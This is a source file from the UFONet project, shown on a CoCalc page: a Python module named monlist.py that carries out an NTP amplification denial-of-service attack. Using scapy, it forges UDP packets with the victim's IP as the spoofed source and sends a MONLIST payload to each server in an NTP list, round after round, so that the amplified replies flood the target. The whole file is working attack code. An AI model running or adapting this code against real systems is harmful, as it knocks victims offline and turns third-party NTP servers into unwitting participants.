Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/monlist.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2020 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random
13
try:
14
from scapy import *
15
except:
16
print("\nError importing: scapy lib.\n")
17
sys.exit(2)
18
19
ntp_file = "botnet/ntp.txt" # NTP servers IP list
20
21
#data = "\x17\x00\x03\x2a" + "\x00" * 4 # NTP v2 Monlist 'magic' packet!
22
data = "\x1b\x00\x00\x00"+"\x00"*11*4 # NTP v3 Monlist 'magic' packet!
23
24
# UFONet NTP Amplification (MONLIST) / [Port: 123]
25
def monlistize(ip, rounds):
26
n=0
27
try: # (NTP) Amplification attack uses publically accessible NTP servers to flood a target with NTP response traffic
28
with open(ntp_file) as f: # extract NTP servers from file
29
ntp_d = f.read().splitlines()
30
f.close()
31
p_num=0
32
for x in range (0,int(rounds)):
33
try:
34
n=n+1
35
print("[Info] [AI] [MONLIST] Breaking NTP 'parsec' ["+str(n)+"] and remaking space-time on it! -> [SLOWING!]")
36
for j in ntp_d:
37
p_num += 1
38
packet = IP(dst=j,src=ip)/UDP(sport=random.randint(2000,65535),dport=123)/Raw(load=data)
39
try:
40
send(packet, verbose=0) # not using sr1 because non-replies are required
41
print(("[Info] [AI] [MONLIST] Broken NTP 'parsec' [{}]".format(p_num))+" IS INTERACTING WITH ["+str(j)+"] -> [AMPLIFYING!]")
42
except:
43
print(("[Info] [AI] [MONLIST] Broken NTP 'parsec' [{}]".format(p_num))+" HAS FAILED to interact with ["+str(j)+"] -> [PASSING!]")
44
except:
45
print("[Error] [AI] [MONLIST] Failed breaking NTP 'parsec' ["+str(n)+"]")
46
except:
47
print("[Error] [AI] [MONLIST] Failing to engage... -> Is still target online? -> [Checking!]")
48
49
class MONLIST(object):
50
def attacking(self, target, rounds):
51
print("[Info] [AI] NTP Amplification (MONLIST) is ready to broke: [" , rounds, "parsecs ]")
52
if target.startswith('http://'):
53
target = target.replace('http://','')
54
elif target.startswith('https://'):
55
target = target.replace('https://','')
56
try:
57
ip = socket.gethostbyname(target)
58
except:
59
try:
60
import dns.resolver
61
r = dns.resolver.Resolver()
62
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
63
url = urlparse(target)
64
a = r.query(url.netloc, "A") # A record
65
for rd in a:
66
ip = str(rd)
67
except:
68
ip = target
69
if ip == "127.0.0.1" or ip == "localhost":
70
print("[Info] [AI] [MONLIST] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
71
return
72
monlistize(ip, rounds) # attack with MONLIST using threading
73
74